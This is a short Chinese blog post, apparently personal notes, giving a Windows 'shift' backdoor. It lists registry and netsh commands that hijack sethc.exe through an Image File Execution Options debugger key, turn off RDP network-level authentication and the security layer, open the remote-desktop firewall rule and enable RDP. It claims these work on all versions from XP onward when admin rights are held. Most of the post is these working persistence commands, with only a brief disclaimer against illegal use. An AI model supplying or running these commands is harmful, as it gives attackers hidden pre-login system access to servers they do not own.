sethc.exe后门

使用注册表替换，防止还原

第一次写记录博客，记录下学到的东西。方便自己也方便大家学习。

使用方法

以下为shift后门命令，通杀xp以上所有版本，条件为需要服务器的本机管理员或域管理员

1、已登录到远程服务器，执行以下命令，前三条为开启替换命令，后两条为开启防火墙规则和RDP服务

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "这里为要替换的sethc.exe完整路径（你自己上传的shift后门存放的路径）"

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0

netsh advfirewall firewall set rule group="remote desktop" new enable=yes

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

本博客仅仅用来记录，内容仅供参考！
请不要用于非法的用途。